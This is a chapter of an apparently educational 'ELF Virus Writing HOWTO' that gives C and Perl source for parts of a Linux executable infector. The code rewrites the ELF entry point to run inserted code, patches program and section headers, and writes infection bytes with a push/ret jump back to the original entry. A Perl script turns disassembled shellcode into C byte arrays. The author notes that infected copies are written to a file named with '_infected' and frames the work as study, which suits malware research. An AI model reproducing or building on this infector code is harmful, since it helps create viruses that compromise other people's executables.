The ELF Virus Writing HOWTO: Introduction
Prev |  | Next

# 4. Scratch pad (i)

| "In order to make an apple pie from scratch, you must first create the universe."
| Carl Sagan, Cosmos

This chapter is an incoherent collection of platform independent items that found no other place. This includes a few parts of the framework One step closer to the edge (i) that are specific to infectors but independent of the infection method.

## 4.1. print_summary #1

Infectors provide only minimal statistics. See print_summary #2.

Source: src/one_step_closer/print_summary.inc

    void print_summary(int stat[])
    {
      print_errno(-1, "files=%u; ok=%u; failed=%d\n",
        stat[0], stat[1], stat[0] - stat[1], stat[2]
      );
    }

## 4.2. target_action #1

This is the logic of all infectors based on the framework. Scanners do something different, see target_action #2.

Source: src/one_step_closer/action.inc

    bool target_action(Target* t, int stat[])
    {
      size_t code_size;
      if (target_patch_entry_addr(t) &&
          target_patch_phdr(t) &&
          target_patch_shdr(t) &&
          target_open_dst(t) &&
          target_copy_and_infect(t, &code_size)
      )
      {
        TRACE_INFECT(-1, "%s ... wrote %u bytes, Ok\n", t->clean_src, code_size);
        return true;
      }
      return false;
    }

## 4.3. target_patch_entry_addr #1

Modifying `e_entry` is the obvious way to activate inserted code. It is quite simple to detect, however. See The entry point for possible improvements. Directory name `e1` means that this is the first (orthogonal) implementation. The issue is independent of the chosen infection method. Well, almost independent. Entry point obfuscation generally means that virus code is activated later. Some infection methods must clean up things or the target will crash, though.

Anyway, without this function the behavior of the target is not modified. If the infection methods prevents double infection by design, this can be used for vaccination in the true meaning of the word: Infection with a deactivated mutation makes the target immune against less friendly attackers.

Source: src/one_step_closer/e1/patch_entry_addr.inc

    bool target_patch_entry_addr(Target* t)
    {
      TRACE_DEBUG(-1, "target_patch_entry_addr\n");
      t->original_entry = t->image.ehdr->e_entry;
      t->image.ehdr->e_entry = target_new_entry_addr(t);
      TRACE_DEBUG(-1, "original_entry=%08x e_entry=%08x\n",
        t->original_entry, t->image.ehdr->e_entry);
      return true; /* this implementation can't fail */
    }

## 4.4. target_open_dst

Infectors write a modified copy of the target into the current directory. The file name is build by appending the letters `_infected`. It really should be hard to overlook.

Source: src/one_step_closer/open_dst.inc

    bool target_open_dst(Target* t)
    {
      enum { FLAGS = O_WRONLY | O_CREAT | O_TRUNC };
      static const char suffix[] = "_infected";

      const char* base;
      size_t len;
      char* dst_filename;

      TRACE_DEBUG(-1, "target_open_dst %s\n", t->src_file);
      base = strrchr(t->src_file, '/');
      base = (base == 0) ? t->src_file : base + 1;

      len = strlen(base);

      /* can't use check for malloc since it returns void*, not int */
      dst_filename = malloc(len + sizeof(suffix));
      if (dst_filename == 0)
      {
        TRACE_ERROR(-1, "malloc(%u) failed", len + sizeof(suffix));
        return false;
      }
      memcpy(dst_filename, base, len);
      memcpy(dst_filename + len, suffix, sizeof(suffix));

      /* in case of error this is a memory leak (on dst_filename) */
      CHECK_ERRNO(0, <=, t->fd_dst = open(dst_filename, FLAGS, 0775));

      free(dst_filename);
      return true;
    }

## 4.5. target_write_infection #1

This function is called from within target_copy_and_infect #1. This implementation of `target_write_infection` does not require a special infection method but is not insertable itself. See Doing it in C for something more realistic. Anyway, `infection` is an array of bytes generated by Dressing up binary code. Constant `ENTRY_POINT_OFS` points to the location inside this array to patch with the original entry address.

Source: src/one_step_closer/write_infection.inc

    bool target_write_infection(Target* t, size_t* code_size)
    {
      enum { ADDR_SIZE = sizeof(((Target*)0)->original_entry) };
      enum { REST_OFS = ENTRY_POINT_OFS + ADDR_SIZE };

      TRACE_DEBUG(-1, "target_write_infection "
        "ENTRY_POINT_OFS=%d ADDR_SIZE=%d\n", ENTRY_POINT_OFS, ADDR_SIZE
      );

      /* i386: first byte is the opcode for "push" */
      CHECK_WRITE(infection, ENTRY_POINT_OFS);

      /* i386: next four bytes is the address to "ret" to */
      CHECK_WRITE(&t->original_entry, sizeof(t->original_entry));

      /* rest of infective code */
      CHECK_WRITE(infection + REST_OFS, sizeof(infection) - REST_OFS);

      *code_size = sizeof(infection);
      return true;
    }

## 4.6. Dressing up binary code

This script is used throughout the document to convert binary files into valid C code, i.e. definition of a byte array. This started as small filter written in `perl`, but now it has a lot of features. We need to process the output of both `ndisasm` and `objdump`, on multiple platforms. Examples for valid input (i386, sparc, alpha):

    08048080  6A04              push byte +0x4
    10074:	82 10 20 04	mov	4, %g1
    1200000b0:	02 00 bb 27	ldah	gp,2(t12)

The `__attribute__` clause is explained in A section called .text.

Initializing the array with string literals (looking like `\xDE\xAD\xBE\xEF`) is easier. The terminating zero would not work with Doing it in C, however. But then using a list of hexadecimal numbers introduces separating comas, requiring special treatment of the last line.

If command line option `-last_line_is_ofs` is passed to the program then the last line of disassembly is meant to specify a offset into the code. Actually it's just the last byte of that line. You are free to use any dummy operation, see the example input above. A real world example is at Infection #1. The last instruction itself is not emitted to the byte array. Instead enum constant `ENTRY_POINT_OFS` is defined.

Source: src/platform/disasm.pl

    #!/usr/bin/perl -sw
    use strict;

    my $LINE = "  %-30s /* %-32s */\n";

    $::identifier = 'main' if (!defined($::identifier));
    $::size = '' if (!defined($::size));
    $::align = '8' if (!defined($::align));
    $::section = '.text' if (!defined($::section));

    printf "const unsigned char %s[%s]\n", $::identifier, $::size;
    print "__attribute__ (( aligned($::align), section(\"$::section\") )) =\n";
    print "{\n";

    my $code_size = 0;
    my @line;
    while(<>)
    {
      s/^\s+//;		# trim leading white space
      s/\s+$//;		# trim trailing white space
      s/\s+[!;].*//;	# trim trailing comments

      my $addr = (split(/[:\s]+/))[0];
      s/[A-Fa-f0-9]+:?\s+//;

      my @code = split(/\s\s+/);
      my $code = $code[0];
      $code =~ s/\s//g;	# make objdump look like ndisasm

      $code_size += length($code) / 2;
      my $dump = '0x' . substr($code, 0, 2);
      for(my $i = 2; $i < length($code); $i += 2)
      {
        $dump .= ',0x' . substr($code, $i, 2);
      }
      push @line, [ $addr . ': ' . join(' ', @code[1..$#code]), $code, $dump ]
    }

    my $nr = 0;
    my $max = $#line;
    $max -= 1 if (defined($::last_line_is_ofs));
    while($nr < $max)
    {
      printf $LINE, $line[$nr][2] . ',', $line[$nr][0];
      $nr++;
    }
    printf $LINE, $line[$nr][2], $line[$nr][0];
    printf "}; /* %d bytes (%#x) */\n", $code_size, $code_size;
    if (defined($::last_line_is_ofs))
    {
      my $ofs = substr($line[$nr + 1][1], -2, 2);
      printf "enum { ENTRY_POINT_OFS = 0x%x };\n", hex($ofs);
    }

Prev | Home | Next
One step closer to the edge (i) |  | Scanners (i)